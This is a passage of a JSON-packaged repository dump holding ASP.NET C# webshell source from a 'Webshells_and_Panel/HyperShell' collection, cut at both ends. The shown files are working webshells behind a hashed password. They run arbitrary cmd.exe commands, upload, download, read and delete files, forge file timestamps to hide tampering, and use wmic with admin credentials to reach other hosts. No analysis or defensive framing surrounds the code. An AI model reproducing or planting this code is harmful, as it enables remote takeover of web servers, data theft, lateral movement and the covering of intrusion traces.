System.IO.FileAttributes.Directory)==System.IO.FileAttributes.Directory){\r\n                        System.IO.DirectoryInfo dirInfo=new System.IO.DirectoryInfo(address);\r\n                        ret =\"{\"+string.Format(\"{0},{1}\",createJsonDirectory(dirInfo.GetDirectories()),createJsonFile(dirInfo.GetFiles()))+\"}\";\r\n                    }\r\n                }\r\n            }\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        return ret;\r\n    }\r\n    void exp(string exadd){string ret=\"Error : -\";ret=getDirectoryInfo(exadd);response(ret);}\r\n    bool hasErrorInGetSize=false;\r\n    int sizelvl=0;\r\n    string sizeError;\r\n    long GetDirSize(System.IO.DirectoryInfo d){long size=0;try{System.IO.FileInfo[] fis=d.GetFiles();foreach(System.IO.FileInfo fi in fis){size+=fi.Length;}sizelvl++;System.IO.DirectoryInfo[] dis=d.GetDirectories();foreach(System.IO.DirectoryInfo di in dis){size+=GetDirSize(di);}}catch(UnauthorizedAccessException ex){sizeError=\"Error : \"+ex.Message;hasErrorInGetSize=true;}return size;}\r\n    string createJsonDirectory(System.IO.DirectoryInfo[] dir){\r\n        string json=\"\\\"dir\\\":[\";\r\n        for (int i=0;i<dir.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"mdate\\\":\\\"{1}\\\"}}\",dir[i].Name,dir[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string createJsonFile(System.IO.FileInfo[] file){\r\n        string json=\"\\\"file\\\":[\";\r\n        for (int i=0;i<file.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"size\\\":\\\"{1}\\\",\\\"mdate\\\":\\\"{2}\\\"}}\",file[i].Name,sizeFix(file[i].Length),file[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string sizeFix(long size){double s=size;if(s<1024)return s+\" B\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" KB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" MB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" GB\";s=s/1024;return Math.Round(s,2)+\" TB\";}\r\n    void response(string res){Response.Clear();Response.Write(tb(res));Response.Flush();Response.SuppressContent=true;ApplicationInstance.CompleteRequest();}\r\n    void changeTime(string timeh,string tfil,string ttar,string ttim){string ret=\"Error : -\";try {if(!string.IsNullOrEmpty(tfil)){if(timeh==\"1\")ret=ti(tfil);else if(timeh==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}else if(timeh==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}}}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\n    string ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n\r\n</script>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal/HighShellServerInner.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n\r\n<%\r\ntry\r\n{\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\nmethod selectedMethod=method.auth;\r\ntry{int methodID=int.Parse(fb(t[\"m\"]));selectedMethod=(method)methodID;}catch{rm();}\r\np=fb(t[\"p\"]);\r\nadminU=fb(t[\"adminU\"]);\r\nadminP=fb(t[\"adminP\"]);\r\nif(!string.IsNullOrEmpty(p) && login(p)){\r\nswitch(selectedMethod){\r\ncase method.auth:\r\ncase method.authAjax:auth(p);break;\r\ncase method.command:\r\ncase method.commandAjax:command(fb(t[\"cmd\"]));break;\r\ncase method.upload:upload(HttpContext.Current.Request.Files[\"uploadFile\"],fb(t[\"uploadPath\"]));break;\r\ncase method.download:download(fb(t[\"don\"]),fb(t[\"isdel\"]));break;\r\ncase method.downloadTest:downloadTest(fb(t[\"don\"]));break;\r\ncase method.explorer:exp(fb(t[\"exadd\"]));break;\r\ncase method.getsize:gsize(fb(t[\"gsize\"]));break;\r\ncase method.getlocation:\r\ncase method.getlocationAjax:response(getLoc());break;\r\ncase method.rename:rename(fb(t[\"rename1\"]),fb(t[\"rename2\"]));break;\r\ncase method.copy:copy(fb(t[\"copy1\"]),fb(t[\"copy2\"]));break;\r\ncase method.view:view(fb(t[\"view\"]));break;\r\ncase method.delete:delete(fb(t[\"delete\"]));break;\r\ncase method.multiDelete:multiDelete(fb(t[\"delete\"]));break;\r\ncase method.changeTime:changeTime(fb(t[\"timeh\"]),fb(t[\"tfil\"]),fb(t[\"ttar\"]),fb(t[\"ttim\"]));break;\r\ndefault:break;\r\n}\r\n}\r\nelse rm();\r\n}\r\ncatch(Exception ex){if(!isInner)response(\"Error : \"+ex.Message);}\r\n%>\r\n<script runat=\"server\">\r\nbool isInner = true;\r\nenum method{auth=0,command=1,upload=2,uploadbase64=3,delete=4,download=5,changeTime=6,sqlQuery=7,explorer=8,getsize=9,getlocation=10,rename=11,copy=12,view=13,commandAjax=14,downloadTest=15,checkModules=16,installModule=17,uninstallModule=18,cmd7z=19,authAjax=20,getlocationAjax=21,multiDelete=24};\r\nstring salt=\"sdfewq@#$51234234DF@#$!@#$ASDF\";\r\nstring p,adminU,adminP;\r\nbool aut=false;\r\nstring pp=\"J3ugYdknpax1ZbHB2QILB5NS6dVa0iUD0mhhBPv0Srw=\";\r\nstring a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\nstring tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\nstring fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\nvoid rm(){if(!isInner){Response.Redirect(Request.Url.AbsolutePath.Substring(0,Request.Url.AbsolutePath.LastIndexOf(\"/\")+1)+\" \"+Request.Url.AbsolutePath.Substring(Request.Url.AbsolutePath.LastIndexOf(\"/\")+1));}}\r\nvoid auth(string p){string ret=string.Empty;try{ret=string.Format(\"{{\\\"auth\\\":\\\"{0}\\\",\\\"loc\\\":\\\"{1}\\\"}}\",login(p).ToString(),tb(getLoc()));}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\nbool login(string p){bool aut=false;try{if(!string.IsNullOrEmpty(p)){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(p+salt)))==pp;}}catch(Exception e){response(e.Message);}return aut;}\r\nvoid command(string cmd){string ret=\"Error : -\";try{string o=exec(cmd);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine)+2);ret=HttpUtility.HtmlEncode(o);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nvoid upload(HttpPostedFile uploadFile,string uploadPath){string ret=\"Error : -\";try{if(System.IO.Path.IsPathRooted(uploadPath)){string FileName=System.IO.Path.GetFileName(uploadFile.FileName);string FilePath=uploadPath.TrimEnd('\\\\')+\"\\\\\";if(string.IsNullOrEmpty(System.IO.Path.GetExtension(uploadPath))){if(!System.IO.Directory.Exists(uploadPath)){if(!string.IsNullOrEmpty(System.IO.Path.GetFileName(uploadPath))){FileName=System.IO.Path.GetFileName(uploadPath);FilePath=System.IO.Path.GetDirectoryName(uploadPath)+\"\\\\\";}}}else{FileName=System.IO.Path.GetFileName(uploadPath);FilePath=System.IO.Path.GetDirectoryName(uploadPath)+\"\\\\\";}if(!System.IO.Directory.Exists(FilePath))System.IO.Directory.CreateDirectory(FilePath);uploadFile.SaveAs(FilePath+FileName);ret=\"File uploaded successfully : \"+FilePath+FileName;}else ret=\"Error : The path is not current format \\\"\"+uploadPath+\"\\\"\";}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}string getLoc(){return Server.MapPath(string.Empty)+\"\\\\\";}\r\nvoid downloadTest(string don){string ret=\"Error : -\";try{if(!string.IsNullOrEmpty(don)){using(System.IO.Stream stream=new System.IO.FileStream(don,System.IO.FileMode.Open)){ret=string.Format(\"File '{0}' is ready for download\",don);}}}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\nvoid download(string don, string isdel){string ret=\"Error : -\";try{if(!string.IsNullOrEmpty(don)){System.Web.HttpResponse response=System.Web.HttpContext.Current.Response;response.ClearContent();response.Clear();response.ClearHeaders();response.ContentType=\"application/octet-stream\";response.AppendHeader(\"Content-Disposition\",\"attachment;size=\"+new System.IO.FileInfo(don).Length+\";filename=\"+HttpUtility.UrlEncode(tb(System.IO.Path.GetFileName(don))));response.WriteFile(don);response.Flush();Response.SuppressContent=true;ApplicationInstance.CompleteRequest();}}catch(Exception e){ret=\"Error : \"+e.Message;response(ret);}}\r\nstring exec(string cmd,string pro=\"\"){System.Diagnostics.Process n=new System.Diagnostics.Process();n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;n.StartInfo.RedirectStandardOutput=true;n.StartInfo.RedirectStandardError=true;n.StartInfo.CreateNoWindow=true;string o=null;n.Start();n.StandardInput.WriteLine(cmd);n.StandardInput.WriteLine(\"exit\");o=n.StandardOutput.ReadToEnd();n.WaitForExit();n.Close();return o;}\r\nvoid gsize(string addr){string ret=\"Error : -\";try{hasErrorInGetSize=false;long size=GetDirSize(new System.IO.DirectoryInfo(addr));ret=sizeFix(size);if(hasErrorInGetSize && sizelvl==0)ret=sizeError;else if(hasErrorInGetSize)ret=\"!\"+ret;}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nvoid view(string path){string ret=\"You are viewing the contents of this file : \"+path+Environment.NewLine;try{ret+=System.IO.File.ReadAllText(path);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(HttpUtility.HtmlEncode(ret));}\r\nvoid delete(string path){string ret=\"Error : -\";try{System.IO.File.Delete(path);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly deleted{1}\",path,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(path))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nvoid multiDelete(string files){string ret=\"Error : -\";try{string[] f=files.Split('|');ret=string.Format(\"All '{0}' files successfuly deleted.\", f.Length);foreach(string item in f){System.IO.File.Delete(fb(item));}}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nvoid rename(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Move(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly moved to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nvoid copy(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Copy(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly copied to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\nstring getDirectoryInfo(string address){string ret=\"Error : -\";try{if(address.ToLower()==\"root\"){ret=\"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";string netUse=exec(\"net use\");string[] lines=netUse.Split(new string[]{Environment.NewLine},StringSplitOptions.RemoveEmptyEntries);foreach(string item in lines){if(item.ToLower().StartsWith(\"ok\")){int index=item.IndexOf(\"\\\\\\\\\");ret+=\",{\\\"name\\\":\\\"\\\\\\\\\"+item.Substring(index,item.IndexOf('\\\\',index+2)-index)+\"\\\"}\";}}ret+=\"]}\";}else{if(address.StartsWith(\"\\\\\\\\\")&& address.Trim('\\\\').Split('\\\\').Count()==1){string tmp=address.ToLower().TrimEnd('\\\\');if(tmp==\"\\\\\\\\localhost\"){ret=\"{\\\"dir\\\":[\";bool isStart=false;foreach(System.IO.DriveInfo item in System.IO.DriveInfo.GetDrives()){if(item.IsReady){if(isStart)ret +=\",\";ret+=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",item.Name.TrimEnd('\\\\').TrimEnd(':')+\"$\",item.TotalSize,item.TotalFreeSpace,\"[\"+sizeFix(item.TotalFreeSpace)+\"] free of [\"+sizeFix(item.TotalSize)+\"]\",item.DriveFormat,item.DriveType);isStart=true;}}ret+=\"]}\";}else{if(!string.IsNullOrEmpty(adminU)&& !string.IsNullOrEmpty(adminP)){string strWC=@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c > c:\\windows\\temp\\KMSHFX0023{3}.tmp 2>&1 wmic logicaldisk get {4}\"\" 2>&1\";string strWF=@\"\\\\{0}\\c$\\windows\\temp\\KMSHFX0023{1}.tmp\";string strWD=@\"del {0} 2>&1\";tmp=tmp.TrimStart('\\\\');exec(string.Format(strWC,tmp,adminU,adminP,1,\"Caption\"));exec(string.Format(strWC,tmp,adminU,adminP,2,\"FileSystem\"));exec(string.Format(strWC,tmp,adminU,adminP,3,\"Size\"));exec(string.Format(strWC,tmp,adminU,adminP,4,\"FreeSpace\"));exec(string.Format(strWC,tmp,adminU,adminP,5,\"Description\"));System.Threading.Thread.Sleep(3000);List<string> diskTemp=new List<string>();for(int i=1;i<=5;i++){string f=string.Format(strWF,tmp,i);string[] lDisk=System.IO.File.ReadAllLines(f);exec(string.Format(strWD,f));for(int j=1;j<lDisk.Length;j++){if(i==1)diskTemp.Add(lDisk[j]);else diskTemp[j-1]+=\"|\"+lDisk[j];}}ret=\"{\\\"dir\\\":[\";bool isStart=false;foreach(string item in diskTemp){string[] diskInfo=item.Split('|');long TotalSize=0;long TotalFreeSpace=0;long.TryParse(diskInfo[2],out TotalSize);long.TryParse(diskInfo[3],out TotalFreeSpace);if(isStart)ret+=\",\";ret+=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",diskInfo[0].TrimEnd('\\\\').TrimEnd(' ').TrimEnd(':')+\"$\",TotalSize,TotalFreeSpace,\"[\"+sizeFix(TotalFreeSpace)+\"] free of [\"+sizeFix(TotalSize)+\"]\",diskInfo[1],diskInfo[4]);isStart=true;}ret+=\"]}\";}else ret=\"Error : Admin Username or Password is empty\";}}else{System.IO.FileAttributes attr=System.IO.File.GetAttributes(address);if((attr&System.IO.FileAttributes.Directory)==System.IO.FileAttributes.Directory){System.IO.DirectoryInfo dirInfo=new System.IO.DirectoryInfo(address);ret=\"{\"+string.Format(\"{0},{1}\",createJsonDirectory(dirInfo.GetDirectories()),createJsonFile(dirInfo.GetFiles()))+\"}\";}}}}catch(Exception ex){ret=\"Error : \"+ex.Message;}return ret;}\r\nvoid exp(string exadd){string ret=\"Error : -\";ret=getDirectoryInfo(exadd);response(ret);}\r\nbool hasErrorInGetSize=false;\r\nint sizelvl=0;\r\nstring sizeError;\r\nlong GetDirSize(System.IO.DirectoryInfo d){long size=0;try{System.IO.FileInfo[] fis=d.GetFiles();foreach(System.IO.FileInfo fi in fis){size+=fi.Length;}sizelvl++;System.IO.DirectoryInfo[] dis=d.GetDirectories();foreach(System.IO.DirectoryInfo di in dis){size+=GetDirSize(di);}}catch(UnauthorizedAccessException ex){sizeError=\"Error : \"+ex.Message;hasErrorInGetSize=true;}return size;}\r\nstring createJsonDirectory(System.IO.DirectoryInfo[] dir){string json=\"\\\"dir\\\":[\";for(int i=0;i<dir.Length;i++){if(i>0)json+=\",\";json+=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"mdate\\\":\\\"{1}\\\"}}\",dir[i].Name,dir[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));}json +=\"]\";return json;}\r\nstring createJsonFile(System.IO.FileInfo[] file){string json=\"\\\"file\\\":[\";for(int i=0;i<file.Length;i++){if(i>0)json+=\",\";json+=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"size\\\":\\\"{1}\\\",\\\"mdate\\\":\\\"{2}\\\"}}\",file[i].Name,sizeFix(file[i].Length),file[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));}json+=\"]\";return json;}\r\nstring sizeFix(long size){double s=size;if(s<1024)return s+\" B\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" KB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" MB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" GB\";s=s/1024;return Math.Round(s,2)+\" TB\";}\r\nvoid response(string res){Response.Clear();Response.Write(tb(res));Response.Flush();Response.SuppressContent=true;ApplicationInstance.CompleteRequest();}\r\nvoid changeTime(string timeh,string tfil,string ttar,string ttim){string ret=\"Error : -\";try {if(!string.IsNullOrEmpty(tfil)){if(timeh==\"1\")ret=ti(tfil);else if(timeh==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}else if(timeh==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}}}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\nstring ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n</script>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal/StableVersions/HighShellServer.aspx.960926.back",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n<%@ Import namespace=\"System.IO\"%>\r\n\r\n<%\r\n    try\r\n    {\r\n        NameValueCollection t = HttpContext.Current.Request.Form;\r\n\r\n        method selectedMethod = method.auth;\r\n\r\n        try\r\n        {\r\n            int methodID = int.Parse(fb(t[\"m\"]));\r\n            selectedMethod = (method)methodID;\r\n        }\r\n        catch\r\n        {\r\n            rm();\r\n        }\r\n\r\n        p = fb(t[\"p\"]);\r\n        upb = fb(t[\"upb\"]);\r\n        upd = fb(t[\"upd\"]);\r\n        del = fb(t[\"del\"]);\r\n        hid = t[\"hid\"];\r\n        tfil = fb(t[\"tfil\"]);\r\n        ttar = fb(t[\"ttar\"]);\r\n        ttim = fb(t[\"ttim\"]);\r\n        baseFile = t[\"baseFile\"];\r\n        baseAddr = fb(t[\"baseAddr\"]);\r\n        baseVir = t[\"baseVir\"];\r\n        sqc = fb(t[\"sqc\"]);\r\n        sqq = fb(t[\"sqq\"]);\r\n\r\n        if (string.IsNullOrEmpty(p))\r\n        {\r\n            if (HttpContext.Current.Request.Cookies[\"p\"] != null)\r\n                p = fb(HttpContext.Current.Request.Cookies[\"p\"].Value);\r\n        }\r\n\r\n        if (!login(p))\r\n        {\r\n            rm();\r\n        }\r\n\r\n        switch (selectedMethod)\r\n        {\r\n            case method.auth:\r\n                auth(p);\r\n                break;\r\n            case method.command:\r\n                command(fb(t[\"cmd\"]));\r\n                break;\r\n            case method.upload:\r\n                upload(HttpContext.Current.Request.Files[\"upl\"], fb(t[\"sav\"]), fb(t[\"nen\"]));\r\n                break;\r\n            //case method.uploadbase64:\r\n            //    baseupl(baseFile,baseAddr,string.IsNullOrEmpty(baseVir)?false:true);\r\n            //    break;\r\n            case method.download:\r\n                download(fb(t[\"don\"]));\r\n                break;\r\n            //case method.changeTime:\r\n            //    g(hid,tfil,ttar,ttim);\r\n            //    break;\r\n            //case method.sqlQuery:\r\n            //    sq(sqc,sqq);\r\n            //    break;\r\n            case method.explorer:\r\n                exp(fb(t[\"exadd\"]));\r\n                break;\r\n            case method.getsize:\r\n                gsize(fb(t[\"gsize\"]));\r\n                break;\r\n            case method.getlocation:\r\n                getLoc();\r\n                break;\r\n            case method.rename:\r\n                rename(fb(t[\"rename1\"]), fb(t[\"rename2\"]));\r\n                break;\r\n            case method.copy:\r\n                copy(fb(t[\"copy1\"]), fb(t[\"copy2\"]));\r\n                break;\r\n            case method.view:\r\n                view(fb(t[\"view\"]));\r\n                break;\r\n            case method.commandB:\r\n                fnCmdB(fb(t[\"cmd\"]));\r\n                break;\r\n            case method.delete:\r\n                delete(fb(t[\"delete\"]));\r\n                break;\r\n            default:\r\n                break;\r\n        }\r\n    }\r\n    catch (Exception ex)\r\n    {\r\n        response(\"Error : \" + ex.Message);\r\n    }\r\n    %>\r\n<script runat=\"server\">\r\n    enum method\r\n    {\r\n        auth = 0,\r\n        command = 1,\r\n        upload = 2,\r\n        uploadbase64 = 3,\r\n        delete = 4,\r\n        download = 5,\r\n        changeTime = 6,\r\n        sqlQuery = 7,\r\n        explorer = 8,\r\n        getsize = 9,\r\n        getlocation = 10,\r\n        rename= 11,\r\n        copy= 12,\r\n        view= 13,\r\n        commandB = 14\r\n    };\r\n    string salt=\"sdfewq@#$51234234DF@#$!@#$ASDF\";\r\n    string p,pro,cmd,sav,vir,nen,upb,upd,del,don,hid,tfil,ttar,ttim,baseFile,baseAddr,baseVir,baseName,sqc,sqq,exadd,adminU,adminP,cmdB;\r\n    string SpecialScript;\r\n    bool aut=false;\r\n    string pp=\"J3ugYdknpax1ZbHB2QILB5NS6dVa0iUD0mhhBPv0Srw=\";\r\n    string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\n    string tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\n    string fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\n    void view(){string data = string.Format(\"pro#=#{0}#|#cmd#=#{1}#|#sav#=#{2}#|#vir#=#{3}#|#nen#=#{4}#|#don#=#{5}#|#tfil#=#{6}#|#ttar#=#{7}#|#ttim#=#{8}|#sqc#=#{9}|#sqq#=#{10}|#exadd#=#{11}|#adminU#=#{12}|#adminP#=#{13}\",\r\n    tb(pro),tb(cmd),tb(sav),tb(vir),tb(nen),tb(don),tb(tfil),tb(ttar),tb(ttim),tb(sqc),tb(sqq),tb(exadd),tb(adminU),tb(adminP));\r\n        HttpCookie coo=new HttpCookie(\"data\", data);coo.Expires=DateTime.Now.AddDays(1);HttpContext.Current.Response.SetCookie(coo);}\r\n\r\n    void rm(){/*System.IO.File.Delete(Request.ServerVariables[\"PATH_TRANSLATED\"]);Response.Redirect(Request.RawUrl);*/Response.Redirect(Request.Url.AbsolutePath.Substring(0, Request.Url.AbsolutePath.LastIndexOf(\"/\") + 1) + \" \" + Request.Url.AbsolutePath.Substring(Request.Url.AbsolutePath.LastIndexOf(\"/\") + 1));}\r\n    void auth(string p)\r\n    {\r\n        string ret = string.Empty;\r\n        try\r\n        {\r\n            ret = login(p).ToString();\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n\r\n        response(ret);\r\n    }\r\n\r\n    bool login(string p)\r\n    {\r\n        bool aut = false;\r\n        try\r\n        {\r\n            if (!string.IsNullOrEmpty(p))\r\n            {\r\n                aut = Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(p + salt))) == pp;\r\n            }\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            l(e.Message);\r\n        }\r\n        return aut;\r\n    }\r\n\r\n    void command(string cmd)\r\n    {\r\n        string ret = string.Empty;\r\n        try\r\n        {\r\n            string o = exec(cmd);\r\n            ret = HttpUtility.HtmlEncode(o);\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n\r\n    //    void baseupl(string baseFile,string baseAddr, bool baseVir){try{if(c()){if(baseFile!=null&&baseFile.Length>0&&!string.IsNullOrEmpty(baseAddr)){string SaveLocation=baseVir?Server.MapPath(baseAddr):baseAddr;System.IO.File.WriteAllBytes(SaveLocation,Convert.FromBase64String(baseFile));l(\"File uploaded successfuly : \"+SaveLocation);}}}catch(Exception ex){l(ex.Message);}}\r\n\r\n    //    string ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n    //    void g(string hid, string tfil, string ttar, string ttim){try{if(c()&&!string.IsNullOrEmpty(tfil)){l(string.Empty);if(hid==\"1\")ti(tfil);else if(hid==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));l(\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil));}}else if(hid==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);l(\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil));}}}}catch(Exception ex){l(ex.Message);}}\r\n    //    void h(string upb, string upd){try{if(c()&&!string.IsNullOrEmpty(upb)&&!string.IsNullOrEmpty(upd)){System.IO.File.WriteAllBytes(System.IO.Path.GetTempPath()+upd,Convert.FromBase64String(upb));l(upd+\" successfuly uploaded\");}}catch(Exception ex){l(ex.Message);}}\r\n    //    void d(string del){try{if(c()&&!string.IsNullOrEmpty(del)){System.IO.File.Delete(System.IO.Path.GetTempPath()+del);l(del+\" successfuly deleled\");}}catch(Exception ex){l(ex.Message);}}\r\n    //    void sq(string sqc, string sqq){\r\n    //        try {\r\n    //            if (c())\r\n    //            {\r\n    //                if (!string.IsNullOrEmpty(sqc))\r\n    //                {\r\n    //                    using (System.Data.SqlClient.SqlConnection con = new System.Data.SqlClient.SqlConnection(sqc))\r\n    //                    {\r\n    //                        if (string.IsNullOrEmpty(sqq))\r\n    //                        {\r\n    //                            try\r\n    //                            {\r\n    //                                con.Open();\r\n    //                                l(\"Sql Server Connection Successfuly Established\");\r\n    //                            }\r\n    //                            catch (Exception ex)\r\n    //                            {\r\n    //                                l(\"Sql Server Connection Failed :\" + Environment.NewLine + ex.ToString());\r\n    //                            }\r\n    //                        }\r\n    //                        else\r\n    //                        {\r\n    //                            try\r\n    //                            {\r\n    //                                con.Open();\r\n    //                                System.Data.SqlClient.SqlCommand com = new System.Data.SqlClient.SqlCommand(sqq, con);\r\n    //                                System.Data.SqlClient.SqlDataAdapter ad = new System.Data.SqlClient.SqlDataAdapter(com);\r\n    //                                System.Data.DataTable dt = new System.Data.DataTable();\r\n    //                                ad.Fill(dt); DataGrid grid = new 